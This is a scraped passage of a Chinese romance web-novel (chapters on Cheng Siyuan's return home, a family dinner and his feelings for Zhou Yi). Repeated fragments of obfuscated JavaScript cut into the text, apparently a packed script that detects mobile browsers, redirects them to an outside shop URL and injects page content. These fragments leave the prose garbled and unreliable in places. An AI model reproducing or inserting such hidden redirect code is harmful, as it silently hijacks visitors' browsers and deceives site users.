d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942728|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷子夹了一大块糖醋里脊,直往她嘴里塞道:“依依张嘴,这是你最爱吃的糖醋里脊,来,啊——” …… “依依?依依?”程司远轻唤着。 “我……我不吃。”周依闭眼紧皱着眉头,扭着头嘴里支吾着,却是还没有睡醒。 程司远喉低泄出丝丝笑意,低声道:“你这小孩儿真是,怎么做梦都在挑食。” 他轻咳一声,伸手轻抚上周依的头发道:“依依醒醒,我们到了家,等回家再睡。” 还在梦里疯狂闪躲童遥投喂的周依被一声声唤醒,她睁开惺忪睡眼,一时没反应过来,迷糊道:“嗯?什么?” 程司远见她醒了,收手打开车门道:“到家了,下车吧,回家再睡。” 说着,便先一步下车拿行李了。 周依听清了他的的话,一下子清醒过来,猛地坐直看向窗外,发现真的到家了,连忙应声道:“哦好,我知——” 她话没说完,忽感身上有东西突然滑了下来,低头查看,就看见那原本在程司远手里的外套,不知道什么时候就盖在了自己身上。 瞬间,周依如遭霹雳,尴尬的外焦里嫩里,嘴里含着的半句话却是再也说不完整了,就那么呆呆地愣在原地。 “小姑娘,要我说你这说男朋友真不错,刚刚你睡着了,还专门嘱咐我开的慢点,怕你颠簸。” 司机从后车镜看着周依,唏嘘道:“现在这么细心的人,少喽,小姑娘要好好珍惜呀。” 看看,又是个喜欢管事儿的司机。 原本愣住的周依听到这话,霎时间,慌乱起来,解释道:“啊不是,不是的叔叔,他不是我男朋友,他、他是我——” “依依还不下来嘛,到家了。”程司远拿好行李,走到车门旁问。 司机闻声扭头看着他,勾着嘴角的笑止不住地点头,眼神里还藏起不少其他的意味。 周依解释的话卡在喉咙里,她觉得现在说再多都是无用,迅速拿起来程司远的外套,连忙下车道:“啊那个,谢谢叔叔,叔叔再见。” 说完,“啪”的一声关了车门。 “呼——” 周依喘歇一声,如释重负。 “怎么了?”程司远问。 “没、没什么。” 一路上,程司远都是眯着眼,一副笑吟吟的样子,不知道在高兴什么。而周依却是悔得肠子都青了,在心里把自己骂了一万遍。睡睡睡、就知道睡,现在好了。 她低头看着手里的衣服,感觉拿了一块儿不得了的烫手山芋,简直是欲哭无泪。 两人心思各有异,但面上却都无言,直到乘上电梯。 “咕噜噜……” “……” 周依用手捂着肚子,瞬间满脸羞得通红,心中仰天长啸,不是吧!老天爷,不带这样玩的啊! “你饿了?”程司远问。 “没有。”周依倔的像牛。 程司远暗笑一声,拖着声音意味深长道:“嗯……那是我饿了,听听,肚子都叫了。” 行,整段垮掉。 周依无脸见爹娘,恨不得一头撞开这该死的电梯门,但嘴上依旧不服软,面无表情假装什么事都没发生,淡声道:“那你一会儿多吃点。” “好。”程司远笑意更盛 “叮咚”一声,这破电梯终于到了。 周依百步穿杨,抬腿就冲。她再也不能跟程司远呆在一起了。程司远克她!从见他到现在—— 不对。 分明是从听到他名字到现在,自己就没碰到过一件好事。 根本就是诸事不宜嘛! 周依又羞又怒,气急败坏。踢飞自己要换下的鞋,穿了拖鞋就开始乱七八糟地输密码,进门甚至没有一丝犹豫,一副六亲不认的气势梗着脖子向前冲。 可她刚冲了几步,又猛地刹住,看着自己手上的“山芋”停顿片刻,随即转身递给程司远,低着头努力隐藏自己那说不清的紧迫和尴尬,咬着牙道说:“你的、谢谢你的衣服。” 程司远看着面前这人强装镇定的模样,差点没忍住笑出来,她轻咳一声道:“不用跟我客气。” 他接过衣服放到一边,问:“有想吃的么?我去做饭。” “没有、不用,我不想吃。” 周依说完转身就跑,只是路过客厅的时候又偷偷顺手拿了昨天买的小面包,补充道:“我、我去学习了。” 说完,一头就栽进了自己的房间。 程司远看着她的背影,眼睛里的宠溺都快要溢了出来,轻叹着低喃道:“小孩儿就是小孩儿,还这么爱吃零食。” 他笑着摇了摇头,捋起袖子,抬腿就进了厨房。 27.变化 房间里,周依三下五除二就把包装扯开,拿着面包大口啃了起来,说是猛虎进食也不过如此。 她鼓着嘴,活像只仓鼠,边嚼边拖拉着脚,跃身滚到了床上,随后仰着头拿起手机就点开某个快要99+的聊天框,直接忽略各种刷屏式的表情包攻击,发送: 月曜:佩佩,太炸裂了,我没脸活在这个世界上了。(大哭) 她这前脚刚发完消息,后脚就收到了回复。 佩琪:这就是你一上午加半个下午没理我的理由? 佩琪:怎么了,说出来看看值不值得我原谅。 要问这称呼是谁,那只能说周依手机里就没有一个是对方正儿八经的名字,不是她一时兴起,就是预谋已久的代号。 表面上美其名曰,微信丢了也不怕被人知道自己的关系网,只要盗号者叫错了,那对方就一定能发现不正常。实际上呢,就是小孩儿心性——喜欢瞎胡闹,觉得有趣罢了。 这佩琪,正是周依给李佩佩的备注。 月曜:反正就是……说来话长。 佩琪:那就简单概括。 周依看着屏幕沉默几秒,咽完嘴里的面包,一把将被子盖过头,按着语音像做贼一样的压低声音,把今天发生的事完完整整都说了一遍。 发送完成没过几秒,李佩佩也发了段语言。 周依刚伸手点开,李佩佩那惊人音量就传了出来:“什么?程司远回——” “我去。” 周依惊呼一声,这才意识到自己忘将声音关小,急忙熄屏,还不忘从被子里伸出头左右看了看,确定没危险才又解了屏,降低音量,继续听: “我去,程司远回来了!那真是太好了,这下你也不用天天盼他了,尤其是他再生日的时候,也不用再偷偷写信藏起来了。” 不是,谁盼了? 周依差点一口气没上来被自己口水呛死,憋红着脸从被窝里翻出,但刚要按着语音开始反驳,就见第二条语音“噔愣”发了过来。 她抿着嘴忍了忍,下意识瞥了眼自己的衣柜,又垂手里点开语音: “还有,我说什么来着,段梓坤那小子果然什么都知道,不然他怎么有这么新鲜的照片?还是程司远现拍的,他们俩绝对有一腿。奥对了对了,那个谁、童遥,对、她是怎么回事?” 周依听到某两个字时,似乎皱了皱眉,重新把头钻进被子里,按着语音压低声音开口道:“她是——” 只是话放说到一半,“噔愣”对面的语音又来了一条。 ”……” 周依无语,手指上划取消语音,顺势点开新消息。 “他们什么关系?她长得好看吗?算了,我打电话问你。 “???” 没等周依疑惑完。 “嗡、嗡、嗡——” 李佩佩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张舒欣摆好碗筷扫了眼桌子上的饭菜,“咦”了声笑道:“司远你也是,看看光顾着我们,自己爱吃的倒是忘做了。” 她说着便站起身,继续道:“那你们先吃着,我去再加个菜,做个水煮肉片。” 程司远听见也连忙起身道:“不用了阿姨,这么多已经够了。” 张舒欣面脸笑意,对着他挥手道:“没事没事,这都多久没吃过我做的菜了,一会儿做好尝尝阿姨手艺变没变。你坐下吃,你们先吃。” “阿姨真——” 程司远想再次婉拒,但还没说完张舒欣就已经转身进了厨房。 “哎呀,坐下吧,这也是你阿姨的一片心意,她知道你爱吃这个。”程毅说:“刚回来路上就想着要给你做呢。” 程司远见盛情难劝便也只好作罢,点了点头,坐了下来。 原本就饿得前胸贴后背的周依,面对一大桌自己爱吃的饭菜更是馋得直流口水,欲哭无泪的看着三人。心道,这怎么还聊上了?什么时候才能吃啊。 但不知道是她表现的太明显了,还是程司远真有什么魔法。 下一秒,那人就拿起筷子夹了一大块糖醋里脊递给周依,说:“来,快尝尝,等饿了吧。 周依甚至都来不及思考,下意识就拿起自己的碗筷接过。直到里脊入碗,她才僵住,托举的碗也滞在半空。 不是,怎么就…… 手长脚了? 程司远看她愣在原地,不由问道:“怎么了,还想吃哪个?” “不、不是。” 这下,周依终于缓过神,窘迫得恨不得钻到碗里,也顾不上管这里脊是不是烫嘴,想也没想就往嘴里塞。 “诶,小心——” “啊!” 程司远还没说完,周依就被烫的惊叫一声。 “噗哧”程司远笑了出来,忍不住道:“怎么这么急,也不知道吹吹,刚做好的当然烫。” 他顺势倒了杯凉白开递给周依道:“喝一口,含一会再咽。” 声音依旧清冷,可里夹杂着的丝缕宠溺味道,还是让一旁的程毅闻之侧目。 而周依却只顾自己尴尬了,哪能发现这些细枝末节。 她羞徳满脸通红,就连耳朵也红的能滴出血来,胡乱点着头,伸手接过水杯就猛地喝了一大口,随后便垂眸不语,打算隐身了。 真是救命了,见了鬼了,周依觉得自己这辈子的人都在今天丢完了。她真想趴在地上看看有没有合适的地缝,好让自己钻进去,最好这辈子都不用出来。 程毅看着两人一脸凝重,眉头也是紧了又紧,心里也不停的打着鼓。 他轻咳一声,重新整了整神色道:“司远,我听童医生说他女儿跟你一起回来了,是打算留在国内发展?” 程司远淡去了脸上的笑容,转头看着他点头道:“嗯,现在国内医疗水平的发展前景很大,对口专业更是人才稀缺,我们回来发展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007142|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是最好的选择。” 原本低着头默数大米的周依,听到“童医生的女儿”几个字瞬即抬起了头,随后又感觉自己行为太过突兀,又赶忙拿起筷子夹了块自己面前的糖醋里脊。 只是这次她没有在虎头虎脑地往嘴里塞,而是一边支着耳朵小心翼翼地听着,一边暗戳戳地用筷子戳着自己碗里的那块肉,像是在报刚刚的“一烫之仇”似的。 程毅闻言点头,继续道:“我记得他女儿叫童遥吧,你们是打算去同一家医院?” “嗯,周一任职。”程司远道。 “我记得她好像大你一岁。” 程毅吃了口自己面前的手撕包菜,突然笑道:“虽然小时候她还天天缠在你后面叫你哥哥,那小姑娘机灵得很。” 听到这话,正戳着“烫嘴元凶”的某人就是一怔,手上动作也忽地停住,心里惊诧不已,眼睛快速瞥向程司远又极速移开。只是眸底一闪而过的诧异和落寞,却清晰可见。 他们早就认识了。 刚拿起筷子的程司远,听到这话又将筷子放了回去,脸上淡淡道:“不记得了。” 语气里也听不出有什么情绪。 “你那时候小,不记得也正常。”程毅说:“在童医生家你们相处的挺好吧。” “一般。” 程司远说完,又随意夹了面前的辣椒炒肉。 只是这刚送进嘴,就听程毅忽然提高八度的声音在耳边响起:“一般?一般人家就能哭着闹着要跟你回国?童医生的电话都打到我这了。” 29.选项 程司远当初走的急,好多东西都来不及带走,这剩下的不是被他锁了,就是被整整齐齐排列好放着了。 虽然他三年都不曾回家,但这个空着的房间,隔三差五还是会有保洁阿姨简单清扫一下,以至于现在程司远再来到自己房间,都有一种时间停止的错觉。 仿佛从未离开。 夜晚,程司远躺在床上仰头看着天花板,嘴角抑制不住地上扬,觉得自己简直就像在做梦,明明国外的生活还历历在目,但此时此刻他却真的躺在了家里。有她的家。 他甚至开心到舍不得睡着,开心到怕这一切真的是梦场。醒来之后,又只剩自己。 程司远正想得出神,忽听门口响起敲门声。 “谁啊?”他问。 “是我。” 程司远翻身穿鞋,刚打开门,程毅那张双眉紧皱的脸就映了进来。 “爸,这么晚了,有事吗?” “司远。”程毅似乎犹豫了一下道:“穿上外套,跟我出来一趟。” 夜色融融,两人一直走到小区花坛处,程毅才忍不住开了口:“童医生给我转了笔钱,这事儿你知道吧。” 程司远并没有太多反应,只是淡淡开口道:“知道。” “你让他转的?”程毅刹住脚步,转身看着他问道:“为什么?” “上学帮导师做项目拿了不少钱,再加上奖学金,够我花的。”程司远道:“你的钱没用上,就给你了。” “你——” 程毅的话卡在喉咙里半天没说出来,他把程司远送出国后,就会定时给童医生打钱。 这一来是为程司远的吃喝用度和学杂费,二来也是怕他有钱了偷偷跑回来干蠢事,所以干脆一股脑儿的都给童医生了。 可没想到现在人回来了,钱也回来了,还一个字儿没少,他甚至都怀疑给多了。事后打电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038765|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,人家也只笑着说:“司远那孩子能干、懂事,三年来没怎么歇过。” 但他不换怎么听都觉得不对劲,心里也觉得难受,辗转了半夜还是没忍住敲了程司远的门。 良久,程毅才叹了口气道:“你长大了。” 程司远垂眸没有说话。 “可周依终究是你妹妹啊,你不能——” “我知道。” 程毅没有说完,就被程司远抢了先,说:“我知道她是我妹妹,我不会强求她。” “那你也不能喜欢她啊!”程毅走前一步,压低声音。 程司远沉默了几秒,说:“没办法,变不了,也不想变。” “你糊涂啊,亲情和爱情不一样啊!三年了,你还没分清楚吗?” “爸,我不是小孩子了。”程司远说:“我知道什么是亲情,什么是爱情,我也从来没有混淆过。三年了,我只是喜欢她而已。” 30.间谍 程司远听着手机传来段梓坤的咆哮,一脸无语,淡淡道:“我干什么了?” 这话问的段梓坤当场嘴角抽搐,简直气不打一出来道:“照片!那张照片!让你给一张近期照,你倒好给我直接给我在机场拍了一张。” 他一巴掌拍向自己的脑门,继续道:“唉,我也是,当时没仔细看就直接转发给周依了,所以我不就暴露了嘛。” 程司远听了挑眉道:“这怎么了,她应该早就猜出来了吧,不然干嘛问你要什么照片。” 他顿了一下,又问:“她怪你了?” “那倒没有。”段梓坤道:“她要是怪我就好了。” “这话怎么说?” 段梓坤“啧”了声,解释道:“李佩佩啊,周依的那个好朋友,你记得吧。” “应该是周依跟她说了,或者她问周依了。”他苦恼道:“哎呀,反正就是她知道了我故意瞒着周依跟你有联系,现在跟吵个没完,要跟我绝交。” 程司远勾了勾嘴角,打趣道:“你这是……喜欢上人家了。” 霎时间,滔滔不绝的段梓坤突然变得支吾起来:“说、说什么呢,我怎么……怎么可能喜欢她,你别乱说。” 程司远也没继续打探,轻笑一声道:“晚上打球吗?算我给你赔罪。” 段梓坤一听来了精神,立即道:“好啊,那就老地方见,看我到时候不虐哭你。” 程司远应声挂了电话,他垂眸看着手边的奶黄包沉默几秒。半晌,又重新拿起手机拨通了电话,说:“我这就出门,你把具体位置发给我。” 而这声称自己有事,急匆匆拿了书包就往外跑的周依,现在却背着书包在路上瞎溜达,一边走,一边还百无聊赖地踢着石子,可以说把“无所事事”这四个字体现的淋漓尽致。 她正发愁要去干什么呢,蓦地脑子里又浮现出程司远拿着奶黄包在自己耳边说话的画面,心里又是憋闷不已,脚下用力将石子踢飞出去,嘴里嘟囔道:“吃吧吃吧、都吃完算了,真是无语。” “周依?” 突然,一个声音在身后响起。 周依一惊连忙转头,见是自己的同班同学,才松口气道:“奥,是你啊孟泽,吓我一跳。” “还真是你啊。”孟泽快步上前道:“我还以为我看错了,没想到能在这遇见你。” “奥,我家就住在这附近。”周依朝身后不远处指了指。 “这样啊,我家也在这附近。”孟泽瞥了眼她身后的书包问:“你这是……要去图书馆?” 周依讪笑两声,点头道:“快高考了,我去抱抱佛脚。” 孟泽嗤笑道:“你还抱佛脚,你学习挺好的啊。怎么,也害怕了?” “可别。”周依连忙摆手道:“上次考试我都没考好,这不怕不行吧。” 孟泽用手肘着下巴像是若有所思,随后侧身露出自己身后的书包,晃了晃道:“要不一起去图书馆?到时候我们还能互相教一下。” 周依一听眼睛都亮了,她正愁没个伴儿呢。于是,连连点头应道:“好啊好啊,那到时候我得好好向你请教请教物理的小球小车模型,我都快被它折磨疯了。” 孟泽听了,不禁弯腰低笑出声。 “你别笑了,那个模型真的很难。”周依道。 “抱歉抱歉,我就是突然想到你那个瘸腿成绩,没忍住。”孟泽站直身体道:“要不是物理成绩,你得是班里前几了。” “别说了,都是泪。” “嗯,是该哭。” “……” 周依一脸无语,心想,这人真会说话。 …… 程司远得了地址,开着车一路导航,没一会儿便到了。站在小区门口等着的童遥,朝他招手道:“我还以为你会在家多呆几天呢,没想到这么快就来了。” 她开了车门坐到后座上,伸手往前指了指,说:“车库在那,你先开过去,到时候给你说你的车位。” 程司远睨了眼她指的方向,声音淡淡开口道:“我回来突然,她可能有点不适应。再说,我迟早都是要搬出来的,不如趁现在,给她点时间。” “不适应?” 童遥来了兴致,一脸八卦道:“排斥你?不应该啊,难道还是因为你出国前的事?” 程司远沉默了几秒,说:“那事我找机会跟她解释清楚。” 童遥瘪了瘪嘴,把身体往座椅后背一靠,懒散道:“真是搞不懂你,三年急急忙忙修完了所有课程,连白送的直博机会都不要,不就是想早点回来嘛。这怎么到眼前了反而要找机会了?” “要我说,你就干脆说明直接说得了。”她用下巴点了点正前方的车位道:“就那。” 程司远从后视镜里瞥了童遥,没有说话。 “你要是真喜欢她就趁早跟她讲清楚,误会解决之后才好办事。你们俩又没有什么血缘关系,况且叔叔阿姨也都没结婚,不管是法律还是医学上你们都可以在一起。” 她见程司远依旧闭口不言,又道:“你之前怕自己没能力让她幸福,可现在你有能力了,还犹豫什么?要我说你就去试试看,如果她也喜欢你,那万事大吉,如果不喜欢——” 她顿了一下,耸耸肩继续道:“不喜欢也没关系啊,你是她哥,她还是跟你亲,到时候年夜饭也在一桌上。所以,怎么样?你准备什么时候跟她说?” “……” 程司远一阵无语,前面几句话他听着还觉得有几分道理,可这后几句他怎么就品出了一种“看笑话不嫌事大”的感觉? 他白了眼童遥到:“下车。” “诶不是。”童遥期待道:“问你呢,怎么样啊?” 程司远直接忽略她眼里闪烁着的“吃瓜”光芒,先一步下车去后备箱搬行李,说:“不怎么样。” 童遥不服,快步跟上问:“为什么?” “就因为某人的老爹给我爸打电话,说某人哭着喊着非要跟我回国。” 程司远抱起一个纸箱,看着童遥道:“是吧,某人?” 童遥有些尴尬,讪笑两声说:“我老爹真这么说了?” 她摸了摸鼻子,嘟囔道:“不过,这也倒是实话。” “实话?”程司远道:“你掐头去尾的跟我说实话?” “你真以为我不知道你干嘛?学校去年毕业的学长也在这吧,他叫什么来着。”他说着故意顿了顿,又拉着声音道:“我记得好像叫季——” “诶停停停,好了、你别说了,我错了。”童遥急忙打断道:“我这不是逼不得已嘛,那当时小子说什么身不由己,然后留了个破戒指就不见人影了,那我不得来问清楚。” “你就不怕他骗你?”程司远问。 “没什么好怕的,如果真是身不由己。比如——” 童遥用下巴朝他点了点,道:“就像你这样的,那我应该会谅解,至少让我知道他是喜欢我的。如果是假的,那我就把他的腿给打折,然后再给他接好,横竖让他知道我不是好惹的。” “……” 程司远抿唇沉默,表示还得是你。 “那你跟童医生说实话不就好了,干嘛非要扯上我?”他问。 童遥侧过脸,小声嘟囔道:“那不是显得我没那么任性嘛。” “什么?” “啊,没什么没什么。”童遥急忙岔开话题道:“我帮你搬行李。” 她说着就要伸手接过程司远手里的箱子,但他却让了一下,说:“不用,这个我来。” 童遥一怔,问:“干嘛,你里面装金子了?这么宝贝。” 程司远看着手里的箱子浅浅笑了声,说:“不是金子,是糖。” 他迈步向前,还不忘对身后补充道:“你可以走了,记得后备箱门帮我关一下。” 童遥看着眼前渐远的身影,抱怨道:“忘恩负义、过河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081700|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆桥。” 她伸手按着后备箱的门使劲拍下来,又道:“莫名其妙。” 新家的装修是程司远最喜欢的风格,算不上有多奢华,简简单单的倒显得十分整洁。他把那箱糖打开,里面零零碎碎装了不少东西,但却不仅仅是糖—— 还有漫画、本子、钢笔还有一叠吃完剩下的糖纸…… 这多多少少都跟一人沾点关系,他当时走得急没能都带走,想来这糖应该是不能吃了。 程司远拿过一旁的糖纸看了很久,脑海里浮现出,不知何时两人的对话—— “司远哥哥,这个送你。” “糖?不用了。” “为什么?” “因为不喜欢。” “为什么不喜欢,它很甜啊。而且你看,这糖皮亮闪闪的,能用来折千纸鹤,可漂亮了。” “不感兴趣。” “为什么,是你不会嘛?没关系,司远哥哥你先吃,吃完了我教你,我会。” …… 程司远嘴角弯了弯,将糖纸重新放回去。 他觉得小时候的周依是个话痨,脑子里装了本十万个为什么,天天叽叽喳喳跟在自己身后没完没了。但现在她又像是被一键静了音,安静的让他难安。 那种感觉就像是曾经在黑暗里照亮他的明灯,如今却被罩了一层又一层的纱,离他很远,朦朦胧胧,碰不到够不着。 程司远轻叹一声,蓦地又俯身从行李箱里掏出一个半透明似乎还经历过不少磨难的盒子,喉咙里轻笑一声,放了进去。 傍晚十分,天边闪烁着几颗繁星,月光倾泻,整片大地都像是被盖上银被。 程司远如约来到高中时常来的篮球场,痛痛快快和段梓坤打了几场,最后两人都累得汗流浃背,仰坐在篮球场上,大口喘着粗气。 段梓坤递给程司远一瓶矿泉水,笑道:“真是好久没打这么爽了,你长进不少啊。” 程司远拿过矿泉水喝了几口,道:“是好久没这么爽了,不过——” 他看了眼段梓坤,摇头道:“真累。” “你体力没我好。” 段梓坤说着用肩膀撞了一下程司远,继续道:“诶,说实话,你那天晚上突然找我,真是给我吓一跳,说什么明天就要走了,让我帮忙照顾依依,你知不知道你当时眼睛都红了。” 程司远嗤笑一声,低头把玩着手里的矿泉水瓶,说:“那有那么夸张。” 他沉默几秒,也撞了一下段梓坤的肩膀,继续道:“这几年,谢谢啊。” 段梓坤听见笑了几声,随后躺在篮球场上,说:“害,什么谢谢不谢谢的,假客气。” 他转头看向程司远,问:“之后有什么打算?” 程司远也后仰身体躺在篮球场上,看着满天星空眼睛划过一丝无措,叹了口气道:“不知道,慢慢来吧。她现在高三,我不想在这个节骨眼上让她分心。” 他说完又补了句:“你呢?” “我什么?” 程司远瞥了眼段梓坤,说:“还装呢?李佩佩。” 听见着三个字,段梓坤应激般猛地从地上坐起,脸倏地就红了,急促道:“装、装什么,我可没有。再说了,她跟我有什么关系。” 程司远看他惊慌失措觉得十分滑稽,平时看起来快人快语的,怎么一到自己的事就变得这么支支吾吾。 但他真不是个爱八卦的人,只是浅笑一声站起身,拍了一下段梓坤,说:“她挺好的。” 说着便抬腿走出篮球场,还不忘对身后道:“走了。” 段梓坤还愣在原地,看对方已经走远了也连忙反应道:“诶?走那么快干嘛啊,再打一局呗、司远。” 只是他还没追上,就见程司远突然住了脚,眼睛直盯着前方,不知道在看什么,不由疑问道:“怎么了,看见什么——” 他的话刚说一半,眼神扫过去,却也怔在原地。 31.家长 马路对面周依正在和一个男生说说笑笑地走着。段梓坤诧异之余转头看向程司远,不确定道:“这……你知道吗?” 程司远眼神一暗,皱眉道:“不知道。” 这就是她的有事? 他心里这么想着,云淡风轻的面容上隐隐浮现一抹愠色,低声问:“那男生你见过吗?” 段梓坤愣住,朝着对面使劲眨了眨眼,看了好一会才道:“没有。” 程司远抿唇不语,只是眼睛依旧紧盯着对面。 “要不我打电话问问李佩佩?”段梓坤说。 “不用。”程司远道。 “你也别多想,可能就是同学,路上碰到了。” 程司远垂眸遮住自己眼中的神色,说:“放心,我心里有数,先走了。” 段梓坤看着他离开的背影,咧了咧嘴,心道脸都黑了还说心里有数。 马路对面,周依和孟泽两人一左一右的并排走着。 “今天可真是收获满满。”孟泽侧着头说道。 周依点头笑了一下,说:“是啊,一抬头天都黑了。” 孟泽抬头看着满天星空,叹息道:“是啊,天都黑了,所以小球小车模型学会了?” “当然。” 周依看他突然停下来,疑惑道:“怎么了?” 孟泽笑着摸了摸自己的肚子,说:“那是不是该解决一下现在的温饱问题了,饿啊——” 周依看着他不禁捂嘴笑起来,后知后觉道:“确实,你说的对,是该解决一下了。” 她四周看了看,问:“那咱们吃什么?” 孟泽也环顾四周,犹豫了一瞬,指着前方说:“要不……麦当劳?” “好啊,走呗。” 路上,孟泽觉得无聊就想说说话打发一下时间,便向周依开口问:“你想好考哪个大学了嘛?” “嗯?” 周依没想到孟泽会问自己这个问题,一时间没反应过来,但很快又笑着回复道:“不知道呢,可能是外地吧,反正船到桥头自然直嘛。” “嗯,确实。我也想考的远远的,离家越远越好,我家管的太严了,简直让人窒息。” 周依闻言没有说话,只是淡淡笑了下。 蓦地,孟泽像是突然想起了什么,晃着自己的手机问:“诶?你爸妈没催你回家嘛?” 周依抿唇眼中闪过一丝苦涩,轻笑道:“他们对我还挺放心的。” 这时,孟泽却换了一副苦瓜脸,咧嘴道:“真好,要不是我说我在图书馆,我爸妈早就打电话催我回家了。” 他快走了几步,率先推开麦当劳的大门,说:“请吧,吃完要快点回家了,不然你爸妈也该担心了。” “好,那咱们就吃快点吧。” 周依脸上虽说是笑着的,可这笑意却未达眼底。 两人吃完麦当劳顺便到了别,各自往各自家的方向走了。周依一个人走在路上,拿着手机上下翻动着消息,可翻来翻去,最上面的消息还是停留在不久前和李佩佩的聊天框。 她轻叹一声,返回主屏,拨通了张舒欣道电话。 “嘟、嘟、嘟…” “喂,依依呀,怎么了?我和你程叔叔还在忙,过一会儿才能回家。”电话端传来张舒欣的声音,随之伴随的还有嘈杂的人声。 “你去把资料拿来。” “这个重新做。” “客户不要这个版,我跟你说过的。” 周依咬了咬嘴唇,讪笑道:“奥好,知道了妈,我没事,就是想打电话问问你们什么时候回家,你们要是忙就先挂了吧。” “哎好,依依真懂事,我们一会就回去了,要是晚了你就先睡吧,明天还要上学呢。” “知道了,先挂了吧。” 周依把手机从耳边拿下,脸上本就不太自然的笑意也荡然无存,低声喃喃道:“我到底在期待什么呢。” 她苦笑一声,独自回了家。 第二天一早,程司远去医院报道,刚体检完迎面就碰到刚从人事科里出来童遥。她拿着档案袋,招呼道:“呦司远,来这么早,上班第一天挺勤呀。” 她说完又“咦”了声,像发现什么,对着程司远挑眉,继续道:“你脸色不太好啊,怎么,昨晚紧张地没睡好?” 程司远眼睛都没抬,说:“想多了。” “那你这是怎么了?” 程司远抿唇不语。 他还能怎么,无非就是某人和陌生男子说笑的画面在他脑子里映了一晚上,导致他胡思乱想辗转一夜,没怎么睡、而已。 他没事,他真的没事。 “上次见你这样,还是你熬了几个通宵跟我爸搞科研的时候。”童遥说着打了个冷颤道:“太可怕了,不敢想。” 她见程司远还没有反应,活像是入了定,便不怕死地继续道:“怎么,这大白天的你就入梦了?” 果然,程司远白了她一眼,说:“胡说什么呢,没睡——” 他嘴里的话还没有说完,就听自己手机响了,见是张舒欣打来的不免觉得疑惑,转口对童遥说:“先接个电话。” 童遥闻言摊了摊手,示意随意。 “喂,阿姨,怎么了?”程司远接道。 另一端张舒欣的声音有些焦急,说:“司远啊,你现在有空嘛,刚刚依依老师给我打电话让我去她学校一趟,说是有个什么签字需要我确认一下。” 她啧声道:“我这……哎呀,我跟你爸爸在外面开会呢,一时半会儿还去不了,你看你要是有空能替我去一趟吗?” 程司远抬手看了眼时间,说:“行,阿姨你先别着急,我这会儿没事,马上过去一趟,你放心。” 童遥看他挂了电话,开口问道:“怎么了?” 程司远收了手机,把手里的档案袋塞给她,说:“这个你帮我交了,我去一趟依依学校,有事打电话。” 说完不等童遥反应,一溜烟儿,不见人了。 童遥看强塞给自己的档案袋一脸无语,半天才啧了一声,抱怨道:“我真是欠你的。” 尽管不情愿,但没办法,谁叫她坑人在先呢,最后还是拿着两个档案袋骂骂咧咧地走了。 当初周依出车祸在医院待的时间并不短,出来就发现自己的进度比别人落下了一大截,“一中梦”说碎就碎了。张舒欣劝她说八中也挺好的,稳稳的可以上。 周依听了却是沉默不语,她是行动派,行不行、好不好,她都要试试再说。 于是,在剩最后的一个月里她把自己的时间从早到晚都排得满满当当。一来,可能真应了程毅的话,她心强,宁做凤尾不做鸡头。她不想稳,她就想赌一把。 这二来,她也是怕自己闲了就会想起程司远,那本来就是伤口又刚结了痂,在没有好彻底之前随意揭开只会留疤。这道理她懂,她不喜欢伤害自己,所以这种事她不会干。 不仅如此,这一个月的埋头苦读,还顺便激发了李佩佩的斗志,誓死也要和周依考一起。 好在最后皇天不负有心人,两个人都擦着边进了一中的大门。 所以程司远对周依现在的学校倒是熟悉的紧,很快就找到了老师的办公室。 “叩叩叩” 程司远敲门道:“你好,请问李老师在吗?” 闻声,李钰从工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 